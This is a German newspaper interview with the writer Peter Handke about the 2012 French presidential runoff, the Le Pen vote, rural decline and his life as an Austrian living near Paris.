Villa For Forest

Peter Handke: Mein Frankreich

Der stille Amoklauf der Verlorenen

Europa blickt heute nach Frankreich, das seinen Präsidenten wählt. Peter Handke lebt hier
seit 22 Jahren. Wir trafen den Schriftsteller und sprachen mit ihm über
Sarkozy, Hollande, die Ohnmacht der Verzagten und den verblichenen Traum
von Größe.

Am Vormittag hat es in Chaville bei Paris
geregnet, jetzt bricht die Sonne durch. Der Dichter lädt die Gäste ein,
am alten Holztisch im Garten Platz zu nehmen. Peter Handke wirkt müde.
Er hat sich ein Fahrrad gekauft und ist damit hundert Kilometer durch
die Picardie im Norden Frankreichs gefahren, über sanft geschwungene
Hügel, vorbei an kleinen romanischen Kirchen und weiten Rapsfeldern. Er
mag es, wenn der Sommer naht, sagt Handke.

Am Abend zuvor war er in der kleinen,
heruntergekommenen Bar unten am Eck, die ein alter, vereinsamter
Algerier betreibt. Dort hat er sich das Fernsehduell zwischen Nicolas
Sarkozy und François Hollande angeschaut.

Wie empfinden Sie Sarkozy und Hollande?

PETER HANDKE: Sarkozy hat in den vergangenen
Jahren an Statur gewonnen und an Reife. Man spürt die Erfahrung, eine
gewisse Musikalität der Macht. Er hat sich gewandelt. Auch die Stimme
ist anders geworden und der Blick. Und auch eine gewisse Traurigkeit und
Ironie der Macht sieht man bei ihm.

Würden Sie ihn wählen?

HANDKE: Ich würde ihn nie wählen. Auch, weil er einen Krieg gemacht hat gegen Libyen.

Und Hollande?

HANDKE: Bei dem habe ich überhaupt kein Gefühl.
Ich habe nur Abwehr. Das ist ein Mensch, der Sozialist spielt. Der wirkt
so, als säße er vor dem Spiegel und redete sich selbst an. Der sieht
niemand anderen. Ein seltsamer neuer Sozialist, für den es den anderen
gar nicht mehr gibt. Bei Sarkozy dagegen kann man sich was vorstellen.

Was denn?

HANDKE: Ich stelle mir ganz gerne vor, wie er mit
seiner Carla im Bett liegt, er so klein und sie so groß. Bei Hollande
kann man sich überhaupt nichts vorstellen an Leben. Bei Hollande, da
hängen so wie bei mir fast schon die Augenwinkel herunter. Das ist kein
Mensch. Der funktioniert einfach gut. Aber was ist seine Vision von der
Gesellschaft, vom Menschen?

Er will den starken, fürsorgenden Staat. Er will zurück.

HANDKE: Mit Vision ist eine Poesie verbunden. Wo
ist seine Poesie? Wenn er die Stimme erhebt, fängt er zu krächzen an.
Seine Gesten erinnern an eine Vogelscheuche. Er ist wie ein seltsamer
Vogel und die Vogelscheuche in einem. Er ist aber sehr
geistesgegenwärtig. Nur Geistesgegenwart ist überhaupt nicht das Gleiche
wie Geist. Hollande ist sehr funktionell. Bei Sarkozy spürt man
dagegen, vielleicht durch die Besorgnis, irgendeine Art von Leben, von
unterirdischem Leben. Da ist etwas dazugekommen, das durchdringt und nur
sein kann, wenn man es schon immer hatte: eine Seele.

Warum sind die Franzosen seiner dann so überdrüssig?

HANDKE: Die Franzosen sind Jakobiner. Das kommt
aus der Revolution. Die möchten immer jemanden niedertreten. Das ist
nicht einmal politisch, sondern etwas Furchtbares, Archetypisches. Den
König getötet zu haben, daraus bezieht eine gewisse Masse noch immer
ihren Stolz: Wir haben einen König erledigt. Diese Wollust spürt man bis
heute.

Uns überrascht, wie hart Sie über Hollande urteilen. Immerhin sind ihm viele zugetan.

HANDKE: Die sind ihm überhaupt nicht zugetan. Die
denken, das ist ein Hampelmann. Schon wie er schaut. Er spielt den
Tribunen, den Massenbeweger.

Tun das nicht beide?

HANDKE: Ein guter Schauspieler, der spielt,
spielt etwas Wahres, der spielt irgendetwas vom Menschen mit. Das tut
Sarkozy. Bei Hollande spielt nichts mit von einem Menschen. Der spielt
nur den Spieler.

Gab es französische Präsidenten, die Sie beeindruckt haben?

HANDKE: Vielleicht De Gaulle. Der hatte eine
Geschichte, der ist als General in eine Geschichte hineingeraten, der er
standgehalten hat.

Und Mitterrand?

HANDKE: Eine einbalsamierte Figur. So wie Lenin
am Roten Platz. Der ist nichts als ein Schlaumeier gewesen. Ein
Marionettenspieler, der wusste, wie er die Fäden ziehen muss. Ein
Zyniker, der als Innenminister im Algerienkrieg kommunistische
Widerstandskämpfer hat hinrichten lassen. Das wird nie verziehen
werden. Aber die Macht ist halt Shakespeare. Jeder Politiker ist ein
Killer.

Sie diabolisieren.

HANDKE: Nein, Politiker müssen killen. Selbst ein kleiner Bürgermeister muss killen. Der muss Feinde haben.

Wenn Sie so reden: Was ist Ihr Ideal eines Politikers?

HANDKE: Er muss aus der Situation, aus dem
Problem heraus sprechen, aus seiner Freude, seinem Enthusiasmus, auch
aus seinem Kummer, seiner Wut.

Sechs Millionen Franzosen haben im ersten
Wahlgang für Marine Le Pen und die äußerste Rechte gestimmt. Das sind
nicht sechs Millionen Neonazis. Was macht diese Leute so empfänglich für
die Feindbilder und das Antieuropäische?

HANDKE: Der Zuspruch kommt zu einem erheblichen
Teil aus einer Bitternis, aus Hilflosigkeit, aus einem
„Ich-weiß-nicht-mehr-was-Tun“.

Bitternis worüber?

HANDKE: Dass sich niemand um sie kümmert. In
Lothringen im Osten sind alle Stahlarbeiter verschwunden. Die
Arbeitslosigkeit ist gewaltig. Ein Viertel der Arbeiter, die immer
Sozialisten oder Kommunisten waren, will jetzt ein Zeichen setzen,
obwohl das Zeichen überhaupt keinen Sinn hat. Das wissen die auch
selber. Das sage ich jetzt nicht als sogenannter Kommentator, als
Arschloch. Das ist fast ein physikalischer Impuls von diesen Leuten. Die
sagen Nein. Die haben vielleicht sogar eine Idee von Frankreich. Sie
sagen: „Ich habe meinen Garten.“ So ein Schrebergarten ist ja nicht nur
eine Dummheit. Das ist ja etwas Gewaltiges, Schönes. Das muss man nicht
verächtlich machen. Die sagen also: „Jetzt bin ich umgeben von Leuten,
die nichts zu tun haben mit meiner Landschaft, wo ich als Kind war, wo
ich vielleicht gebräutelt habe“, wie man auf Österreichisch sagt.

Aber sind nicht auch die Zugewanderten Verlorene?

HANDKE: Das ist eine tragische Geschichte. Ich
mag die Zugewanderten. Die aus Afrika kommen, die Stromableser,
Automechaniker und Installateure. Die sind wie mein Wirt am Eck oft
vierzig Jahre hier und dürfen noch immer nicht wählen. Schwierig sind
die Jungen, die Nachkömmlinge. Die machen Krach. Lärm ist Aggression.
Den anderen gibt es nicht. Einfach verloren sein im eigenen Land, bei
den eigenen Vorfahren. Das ist ja nicht ganz ohne, Vorfahren zu haben:
Wo ich herkomme, wo diese Linien der Landschaft gehen, oder der
Horizont. Und den Horizont gibt es nicht mehr. Der Horizont ist
versperrt von Lärm und Missachtung. Dann wähle ich mit einem gewissen
Kummer oder aus Wut oder Ratlosigkeit diese Marine Le Pen.

Man wählt das Verfemte?

HANDKE: Ja, gerade das Verbotene. Das ist eine Art stiller Amoklauf der Verlorenen. Der führt natürlich zu nichts.

Wie passt diese düstere Grundstimmung, die Sie beschreiben, zum stolzen Selbstbild Frankreichs?

HANDKE: Dieser Stolz, worauf soll der beruhen? Das ist ein verblichener Traum.

Wo ist das Land noch groß?

HANDKE: Überall, wo man hinfährt. Jedes Dorf ist groß. Das hat aber nichts mit Kriegerdenkmälern zu tun,
sondern mit dem Bauerntum, mit der Vielfalt von Baum- und Erdfrüchten.
Frankreich ist seelisch ein Fruchtland.

Wo wird dieses bäuerliche Frankreich, das Sie preisen, für Sie besonders greifbar?

HANDKE: Wir sind hier nur zwei Kilometer von
Versailles entfernt, nach Versailles fangen sofort die Äcker und
Fruchtgärten an. Heute ist natürlich alles fragmentiert und Brüssel
bestimmt, was wo angebaut wird. Aber allein wie jetzt über den Äckern
die Lerchen anfangen zu steigen, in verschiedenen Etagen: Gibt es das in
Österreich? Fünf Kilometer vor Paris, das ist ein Zeichen. Lerchen
fliegen dort, wo etwas wächst. Nicht Unkraut. Fruchtbares. Bis Rennes,
bis ans Meer, bis in die Bretagne, bis Quimper oder Lorient: überall
Lerchen. Und überall Wälder von Edelkastanien. Das ist Fruchtland,
altes Königsland. Man könnte das Volk noch heute bei einer Hungersnot
ernähren. Ganz Frankreich ist durchflochten von Essbarem.

Spüren Sie die Kraft des Landes auch bei den Leuten?

HANDKE: Nein, auf dem Land ist da eher große
Verzagtheit. Jedes Mal, wenn ich aufs Land fahre, ist wieder eine
Bäckerei zu oder eine Bar. Jedes Mal ein anderes Geschäft. Und überall
steht: „Zu verkaufen“. Die Pariser ziehen hin und nehmen die Sachen aus
den Supermärkten mit. Manchmal denke ich mir: Vielleicht kommt ja alles
wieder zurück. Dass die Städter aufhören, auf dem Land Städter zu
spielen und Gentlemanfarmer. Dass sie sich wirklich kümmern um jedes
Stück Boden. Bei jedem Wind und bei jedem Wetter.

Sie leben jetzt bald ein Vierteljahrhundert in diesem Land. Wie sehr hat Frankreich Sie geprägt?

HANDKE: Das müssen Sie mir sagen. Ich weiß es nicht.

Erkennen Sie nichts Französisches an sich?

HANDKE: Nein, ich bin Österreicher. Ich möchte
nicht Franzose sein. Ich bin ein Zugewanderter. Und ich versuche auch,
die Bescheidenheit eines Zugewanderten zu behalten. Aber gerade die
Zugewanderten legen dann oft besonders los, wenn ihnen etwas nicht
passt.

Sie auch?

HANDKE: Ich auch.

Was passt Ihnen nicht?

HANDKE: Vieles.

Was hält Sie hier?

HANDKE: Meine Enklave, wie ich das nenne. Die
Verantwortung für den Flecken Erde, den ich nicht verkommen lassen
möchte, für das Haus, das ich gerne habe. Für die Leute, die es gebaut
haben. Allein wenn ich das Stiegenhaus anschaue: Wie das gedrechselt
ist. Ich habe eine große Achtung davor, auch vor dem Abgesplitterten.

Und der Garten?

HANDKE: Da habe ich weniger Achtung, weil der ist
von mir. Verantwortlich fühle ich mich aber auch für den Wald, die
Wälder hier. Wenn Leute hier lärmen und herumballern, dann gehe ich
sogar als Auswärtiger und Zugewanderter auf sie zu und sage: Haut ab!

Der Sheriff von Chaville.

HANDKE: Ja, wäre ich gerne. Hilfssheriff.

Hauen sie dann ab?

HANDKE: Ich sage denen, das ist Wald hier. Das sind königliche Wälder.

Und dann halten die Störenfriede inne und gehen?

HANDKE: Natürlich nicht. Aber für einen Moment, für zwei Sekunden sind sie still. Und dann geht es noch lauter los.

Was mögen Sie noch an Frankreich, wenn Sie Ihre Enklave hinter sich lassen?

HANDKE: Die Kreuzwege in den Wäldern, die sich
wie Sterne treffen. Man geht und geht und sieht die Horizonte. Ich mag
das Licht hier, das Licht der Île-de-France, den Himmel. Ich mag auch,
wie Paris gebaut ist. Dass die Straßen bis an den Stadtrand hinausgehen
und man die hintersten Hügel sieht. Ich mag die Regionen, die Bretagne,
das Languedoc, die Normandie, die Provence und Burgund. Das ist etwas
anderes als Hessen oder Bayern. Sogar Lothringen! Allein das
französische Wort dafür: Lorraine. Da macht die Geschichte die Hügel
zusätzlich schwingen. Frankreich ist schon ein großes Land! Was da auch
an Schriftstellern war: Montaigne, Rabelais, Molière, die herrlichen
Komödien von Molière! Und Marivaux! Was für eine Anmut! Was für eine
Lässigkeit!

Sie sprechen von der Natur und von Toten, wenn Sie über Ihr Frankreich reden. Was ist mit den Lebenden. Meiden Sie die?

HANDKE: Ich bin nicht gegen Menschen. Ich mag die
Gemeinschaft. Ich mag die einfachen Leute. Aber wenn man unter zu
vielen Menschen ist, sieht man nichts. Natürlich gibt es die Passanten
auf der Straße. Schon ihre Silhouetten sind schön in Frankreich, sind
eleganter als anderswo. Auch die Frauen. Das ist natürlich alles
verlogen. Aber es ist eine schöne Lüge.

Was ist anders an den Frauen?

HANDKE: Die Art, wie sie reden und sich bewegen.
Diese Erdenschwere ist nicht da, die man manchmal aus Mitteleuropa
kennt. Dafür kann man bei uns diese Mozart’sche und Schubert’sche Anmut
bei Frauen beobachten. Das ist auch wieder rührend. Im Salzburger Land,
in Kärnten, überall sind die Frauen anders. Hier in Frankreich spielen
die Mädchen sehr früh Frau. Manchmal kann es einen ärgern, manchmal
kann es einen rühren, entflammen auch. Als Älteren.

Werden Sie bleiben?

HANDKE: Wo soll ich denn hin?

INTERVIEW:

HUBERT PATTERER, STEFAN WINKLER

„Es ist noch immer ein großes Land“

 

„Sarkozy hat an Statur gewonnen, an Reife. Man spürt eine gewisse Musikalität der Macht, aber auch Traurigkeit und Ironie.“

„Ein Schauspieler spielt immer etwas Wahres, spielt etwas vom Menschen mit. Bei Hollande spielt nichts mit von einem Menschen.“

Bis zum Schluss ringen sie um
Stimmen: Vor der heutigen Stichwahl nehmen die beiden Kandidaten noch
ein Bad in der Menge – Nicolas Sarkozy und Herausforderer François
Hollande (REUTERS)

Peter Handke wurde am 6. Dezember 1942 in Griffen geboren.

Er ist einer der bedeutendsten Erzähler deutscher Sprache.

Bei den Wiener Festwochen wird am 15. Mai sein neues Stück „Die schönen Tage von Aranjuez“ uraufgeführt.

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